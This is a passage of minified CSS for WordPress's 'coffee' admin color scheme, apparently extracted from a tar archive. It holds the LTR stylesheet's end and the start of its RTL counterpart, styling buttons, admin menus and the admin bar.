.button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#59524c}.wp-core-ui .wp-ui-text-primary{color:#59524c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#c7a589}.wp-core-ui .wp-ui-text-highlight{color:#c7a589}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#9ea476}.wp-core-ui .wp-ui-text-notification{color:#9ea476}.wp-core-ui .wp-ui-text-icon{color:hsl(27.6923076923,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#59524c}.view-switch a:hover:before{color:#9ea476}#adminmenu,#adminmenuback,#adminmenuwrap{background:#59524c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(27.6923076923,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#c7a589}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(69.7436363636,64.2581818182,59.5563636364)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(69.7436363636,64.2581818182,59.5563636364)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(205.2,203.1,201.3)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(205.2,203.1,201.3)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#c7a589}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#c7a589}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#c7a589}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#9ea476}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(69.7436363636,64.2581818182,59.5563636364)}#collapse-button{color:hsl(27.6923076923,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#c7a589}#wpadminbar{color:#fff;background:#59524c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#c7a589;background:rgb(69.7436363636,64.2581818182,59.5563636364)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#c7a589}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#c7a589}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(69.7436363636,64.2581818182,59.5563636364)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(101.2318636364,100.2821643357,99.4681363636)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(205.2,203.1,201.3)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(27.6923076923,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#c7a589}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#c7a589}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(108.2563636364,99.7418181818,92.4436363636)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#9ea476}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(142.2,147.6,106.2)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(108.2563636364,99.7418181818,92.4436363636);background-color:rgb(108.2563636364,99.7418181818,92.4436363636)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#c7a589}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(205.2,203.1,201.3)}.wp-pointer .wp-pointer-content h3{background-color:#c7a589;border-color:rgb(190.7931034483,151.8103448276,119.7068965517)}.wp-pointer .wp-pointer-content h3:before{color:#c7a589}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#c7a589}.media-item .bar,.media-progress-bar div{background-color:#c7a589}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #c7a589}.attachment.details .check{background-color:#c7a589;box-shadow:0 0 0 1px #fff,0 0 0 2px #c7a589}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#c7a589}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#c7a589}.theme-filter.current,.theme-section.current{border-bottom-color:#59524c}body.more-filters-opened .more-filters{color:#fff;background-color:#59524c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#c7a589;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#c7a589;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}div#wp-responsive-toggle a:before{color:hsl(27.6923076923,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#c7a589}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(69.7436363636,64.2581818182,59.5563636364)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(27.6923076923,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#c7a589}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#c7a589}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#c7a589}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#c7a589}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#c7a589;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#c7a589}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#c7a589;border-style:solid;box-shadow:0 0 0 1px #c7a589;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#c7a589}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#c7a589;color:#0073aa} css/colors/coffee/colors-rtl.min.css 0000644 00000052675 15233246127 0013504 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#59524c}.wp-core-ui .wp-ui-text-primary{color:#59524c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#c7a589}.wp-core-ui .wp-ui-text-highlight{color:#c7a589}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#9ea476}.wp-core-ui .wp-ui-text-notification{color:#9ea476}.wp-core-ui .wp-ui-text-icon{color:hsl(27.6923076923,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#59524c}.view-switch a:hover:before{color:#9ea476}#adminmenu,#adminmenuback,#adminmenuwrap{background:#59524c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(27.6923076923,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#c7a589}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(69.7436363636,64.2581818182,59.5563636364)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(69.7436363636,64.2581818182,59.5563636364)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(205.2,203.1,201.3)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(205.2,203.1,201.3)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#c7a589}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#c7a589}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#c7a589}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#9ea476}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(69.7436363636,64.2581818182,59.5563636364)}#collapse-button{color:hsl(27.6923076923,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#c7a589}#wpadminbar{color:#fff;background:#59524c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#c7a589;background:rgb(69.7436363636,64.2581818182,59.5563636364)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#c7a589}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#c7a589}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(69.7436363636,64.2581818182,59.5563636364)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop 